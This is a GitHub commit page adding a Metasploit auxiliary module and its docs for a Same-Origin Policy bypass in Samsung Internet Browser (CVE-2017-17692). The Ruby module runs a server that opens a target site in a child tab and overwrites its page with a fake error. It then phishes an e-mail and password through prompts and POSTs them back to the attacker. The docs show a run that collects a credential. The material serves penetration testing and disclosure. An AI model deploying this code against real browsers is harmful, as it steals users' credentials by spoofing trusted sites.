Skip to content

Commit 01341ae

Browse files
author
Tod Beardsley
committed
Land rapid7#9180, @RootUp's Samsung Browser SOP module
Also lands rapid7#9311, the docs for the same.
2 parents 6631ec6 + 8c1f169 commit 01341ae

File tree

2 files changed

+200
-0
lines changed

2 files changed

+200
-0
lines changed
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
## Description
2+
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
3+
4+
## Vulnerable Application
5+
This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
6+
7+
## Verification Steps
8+
1. Start `msfconsole -q`
9+
2. `use auxiliary/gather/samsung_browser_sop_bypass`
10+
3. `set SRVHOST`
11+
4. `set SRVPORT`
12+
5. `set URIPATH`
13+
6. `set TARGET_URL`
14+
5. `run`
15+
16+
## Scenarios
17+
```
18+
$ sudo msfconsole -q
19+
msf > use auxiliary/gather/samsung_browser_sop_bypass
20+
msf auxiliary(samsung_browser_sop_bypass) > set SRVHOST 192.168.1.104
21+
SRVHOST => 192.168.1.104
22+
msf auxiliary(samsung_browser_sop_bypass) > set SRVPORT 9090
23+
SRVPORT => 9090
24+
msf auxiliary(samsung_browser_sop_bypass) > set URIPATH /
25+
URIPATH => /
26+
msf auxiliary(samsung_browser_sop_bypass) > set TARGET_URL https://www.google.com/csi
27+
TARGET_URL => https://www.google.com/csi
28+
msf auxiliary(samsung_browser_sop_bypass) > run
29+
[*] Auxiliary module execution completed
30+
msf auxiliary(samsung_browser_sop_bypass) >
31+
[*] Using URL: http://192.168.1.104:9090/
32+
[*] Server started.
33+
[*] 192.168.1.101: Request 'GET /'
34+
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
35+
[*] 192.168.1.101: Request 'GET /favicon.ico'
36+
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
37+
[*] 192.168.1.101: Request 'GET /favicon.ico'
38+
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
39+
[+] 192.168.1.101: Collected credential for 'https://www.google.com/csi' emailID:MyStrongPassword
40+
41+
msf auxiliary(samsung_browser_sop_bypass) > creds
42+
Credentials
43+
===========
44+
45+
host origin service public private realm private_type
46+
---- ------ ------- ------ ------- ----- ------------
47+
emailID MyStrongPassword https://www.google.com/csi Password
48+
49+
msf auxiliary(samsung_browser_sop_bypass) >
50+
```
51+
52+
## Demos
53+
54+
Working of MSF Module: `https://youtu.be/ulU98cWVhoI`
55+
56+
Vulnerable Browser: `https://youtu.be/lpkbogxJXnw`
Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpServer
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Samsung Internet Browser SOP Bypass',
14+
'Description' => %q(
15+
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
16+
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
17+
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
18+
credentials via a fake pop-up.
19+
),
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'Dhiraj Mishra', # Original discovery, disclosure
23+
'Tod Beardsley', # Metasploit module
24+
'Jeffrey Martin' # Metasploit module
25+
],
26+
'References' => [
27+
[ 'CVE', '2017-17692' ],
28+
['URL', 'http://fr.0day.today/exploit/description/28434']
29+
],
30+
'DisclosureDate' => 'Nov 08 2017',
31+
'Actions' => [[ 'WebServer' ]],
32+
'PassiveActions' => [ 'WebServer' ],
33+
'DefaultAction' => 'WebServer'
34+
)
35+
)
36+
37+
register_options([
38+
OptString.new('TARGET_URL', [
39+
true,
40+
'The URL to spoof origin from.',
41+
'http://example.com/'
42+
]),
43+
OptString.new('CUSTOM_HTML', [
44+
true,
45+
'HTML to display to the victim.',
46+
'This page has moved. Please <a href="#">click here</a> to redirect your browser.'
47+
])
48+
])
49+
50+
register_advanced_options([
51+
OptString.new('CUSTOM_JS', [
52+
false,
53+
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
54+
''
55+
])
56+
])
57+
58+
end
59+
60+
def run
61+
exploit # start http server
62+
end
63+
64+
def evil_javascript
65+
return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?
66+
js = <<-EOS
67+
setTimeout(function(){
68+
x.document.body.innerHTML='<h1>404 Error</h1>'+
69+
'<p>Oops, something went wrong.</p>';
70+
a=x.prompt('E-mail','');
71+
b=x.prompt('Password','');
72+
var cred=JSON.stringify({'user':a,'pass':b});
73+
var xmlhttp = new XMLHttpRequest;
74+
xmlhttp.open('POST', window.location, true);
75+
xmlhttp.send(cred);
76+
}, 3000);
77+
EOS
78+
js
79+
end
80+
81+
def setup
82+
@html = <<-EOS
83+
<html>
84+
<meta charset="UTF-8">
85+
<head>
86+
<script>
87+
function go(){
88+
try {
89+
var x = window.open('#{datastore['TARGET_URL']}');
90+
#{evil_javascript}
91+
} catch(e) { }
92+
}
93+
</script>
94+
</head>
95+
<body onclick="go()">
96+
#{datastore['CUSTOM_HTML']}
97+
</body></html>
98+
EOS
99+
end
100+
101+
def store_cred(username,password)
102+
credential_data = {
103+
origin_type: :import,
104+
module_fullname: self.fullname,
105+
filename: 'msfconsole',
106+
workspace_id: myworkspace_id,
107+
service_name: 'web_service',
108+
realm_value: datastore['TARGET_URL'],
109+
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
110+
private_type: :password,
111+
private_data: password,
112+
username: username
113+
}
114+
create_credential(credential_data)
115+
end
116+
117+
# This assumes the default schema is being used.
118+
# If it's not that, it'll just display the collected POST data.
119+
def collect_data(request)
120+
cred = JSON.parse(request.body)
121+
u = cred['user']
122+
p = cred['pass']
123+
if u.blank? || p.blank?
124+
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
125+
else
126+
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
127+
store_cred(u,p)
128+
end
129+
end
130+
131+
def on_request_uri(cli, request)
132+
case request.method.downcase
133+
when 'get' # initial connection
134+
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
135+
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
136+
send_response(cli, @html)
137+
when 'post' # must have fallen for it
138+
collect_data(request)
139+
else
140+
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
141+
end
142+
end
143+
144+
end

0 commit comments

Comments
 (0)